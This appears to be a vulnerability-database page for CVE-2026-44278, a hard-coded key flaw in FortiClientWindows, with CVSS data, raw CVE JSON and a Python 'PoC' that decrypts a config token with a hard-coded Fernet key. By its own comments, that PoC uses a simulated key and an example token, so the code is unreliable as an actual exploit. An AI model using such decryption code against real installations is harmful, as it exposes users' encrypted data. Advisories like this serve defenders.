Security Vulnerability Report
中文
CVE-2026-44278 CVSS 2.3 LOW

CVE-2026-44278

Published: 2026-05-12 18:17:30
Last Modified: 2026-05-12 18:57:02

Description

A use of hard-coded cryptographic key vulnerability in Fortinet FortiClientWindows 7.4.0 through 7.4.2, FortiClientWindows 7.2 all versions may allow attacker to information disclosure via <insert attack vector here>

CVSS Details

CVSS Score
2.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

FortiClientWindows 7.4.0 - 7.4.2
FortiClientWindows 7.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import base64 from cryptography.fernet import Fernet # Simulate the hardcoded key extracted from FortiClient binary # In a real exploit, this string is found statically within the software files HARDCODED_KEY = b'Z5V3x1M7s9Q2k8L4p6R0w3Y5t8u1I4o0A1s2D3f4G5h=' # Initialize cipher suite with the leaked key cipher_suite = Fernet(HARDCODED_KEY) # Example: Encrypted configuration data found in the application's data directory # This represents sensitive info encrypted with the vulnerable key encrypted_config_token = b'gAAAAABlR9k2xZ5eY8w0Q1v2C3d4E5f6G7h8I9j0K1l2M3n4O5p6Q7r8S9t0U1v2w==' try: # Attempt to decrypt the data using the hardcoded key decrypted_data = cipher_suite.decrypt(encrypted_config_token) print("[+] Successfully decrypted sensitive data:") print(decrypted_data.decode('utf-8')) except Exception as e: print(f"[-] Decryption failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44278", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:30.177", "lastModified": "2026-05-12T18:57:02.307", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use of hard-coded cryptographic key vulnerability in Fortinet FortiClientWindows 7.4.0 through 7.4.2, FortiClientWindows 7.2 all versions may allow attacker to information disclosure via <insert attack vector here>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-129", "source": "[email protected]"}]}}